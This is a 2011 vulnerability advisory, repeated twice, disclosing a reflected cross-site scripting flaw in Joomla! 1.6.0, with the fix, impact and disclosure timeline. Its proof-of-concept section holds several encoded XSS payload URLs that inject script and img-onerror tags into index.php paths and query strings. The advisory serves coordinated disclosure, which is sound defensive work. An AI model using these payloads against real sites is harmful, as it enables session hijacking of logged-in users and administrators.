Joomla! 1.6.0 | Cross Site Scripting (XSS) Vulnerability
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Joomla! 1.6.0 | Cross Site Scripting (XSS) Vulnerability
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1. OVERVIEW
Joomla! 1.6.0 was vulnerable to Cross Site Scripting.
2. BACKGROUND
Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently.
Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization.
3. VULNERABILITY DESCRIPTION
The Query String parameter was not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser.
4. VERSION AFFECTED
Joomla! 1.6.0
5. PROOF-OF-CONCEPT/EXPLOIT
>>> SEO-enabled Joomla 1.6.0
http://attacker.in/joomla160/index.php/%2522%253E%253Cimg%2520src%253Da%2520onerror%253Dalert(String.fromCharCode(88,83,83))%253E09739572178%252F
http://attacker.in/joomla160/index.php/using-joomla/extensions/components/search-component/search/'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E
http://attacker.in/joomla160/index.php/contact-us/'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E
http://attacker.in/joomla160/index.php/park-links?'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E=1
http://attacker.in/joomla160/index.php/using-joomla/extensions/templates?'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E=1
>>> SEO-disabled Joomla 1.6.0
http://attacker.in/joomla160x/index.php?option=com_weblinks&view=category&id=18&Itemid=227&a86a9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9666d64388c=1
http://attacker.in/joomla160x/index.php?option=com_content&view=category&layout=blog&id=21&Itemid=268&%2522%253e%253cscript%253ealert%280%29%253c/script%253e=XSS
This is the exactly same variant as shown in our last year demo video in 1.5.20:
http://yehg.net/lab/pr0js/training/view/misc/joomla-1.5.20_encoded-xss/
We thought Joomla! team would fix this issue in 1.6.0 stable release whilst they fixed it in Joomla! 1.5.21!
6. IMPACT
Attackers can compromise currently logged-in user/administrator session and impersonate arbitrary user actions available under /administrator/ functions.
7. SOLUTION
Upgrade to Joomla! 1.6.1 or higher
8. VENDOR
Joomla! Developer Team
http://www.joomla.org
9. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
10. DISCLOSURE TIME-LINE
2011-01-24: notified vendor
2011-03-08: vendor released fix
2011-03-14: vulnerability disclosed
11. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.0]_cross_site_scripting(XSS)
Former Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.5.20]_cross_site_scripting(XSS)
XSS FAQ: http://www.cgisecurity.com/xss-faq.html
OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
CWE-79: http://cwe.mitre.org/data/definitions/79.html
#yehg [2011-03-14]
Joomla! 1.6.0 | Cross Site Scripting (XSS) Vulnerability
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1. OVERVIEW
Joomla! 1.6.0 was vulnerable to Cross Site Scripting.
2. BACKGROUND
Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently.
Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization.
3. VULNERABILITY DESCRIPTION
The Query String parameter was not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser.
4. VERSION AFFECTED
Joomla! 1.6.0
5. PROOF-OF-CONCEPT/EXPLOIT
>>> SEO-enabled Joomla 1.6.0
http://attacker.in/joomla160/index.php/%2522%253E%253Cimg%2520src%253Da%2520onerror%253Dalert(String.fromCharCode(88,83,83))%253E09739572178%252F
http://attacker.in/joomla160/index.php/using-joomla/extensions/components/search-component/search/'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E
http://attacker.in/joomla160/index.php/contact-us/'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E
http://attacker.in/joomla160/index.php/park-links?'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E=1
http://attacker.in/joomla160/index.php/using-joomla/extensions/templates?'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E=1
>>> SEO-disabled Joomla 1.6.0
http://attacker.in/joomla160x/index.php?option=com_weblinks&view=category&id=18&Itemid=227&a86a9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9666d64388c=1
http://attacker.in/joomla160x/index.php?option=com_content&view=category&layout=blog&id=21&Itemid=268&%2522%253e%253cscript%253ealert%280%29%253c/script%253e=XSS
This is the exactly same variant as shown in our last year demo video in 1.5.20:
http://yehg.net/lab/pr0js/training/view/misc/joomla-1.5.20_encoded-xss/
We thought Joomla! team would fix this issue in 1.6.0 stable release whilst they fixed it in Joomla! 1.5.21!
6. IMPACT
Attackers can compromise currently logged-in user/administrator session and impersonate arbitrary user actions available under /administrator/ functions.
7. SOLUTION
Upgrade to Joomla! 1.6.1 or higher
8. VENDOR
Joomla! Developer Team
http://www.joomla.org
9. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
10. DISCLOSURE TIME-LINE
2011-01-24: notified vendor
2011-03-08: vendor released fix
2011-03-14: vulnerability disclosed
11. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.0]_cross_site_scripting(XSS)
Former Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.5.20]_cross_site_scripting(XSS)
XSS FAQ: http://www.cgisecurity.com/xss-faq.html
OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
CWE-79: http://cwe.mitre.org/data/definitions/79.html
#yehg [2011-03-14]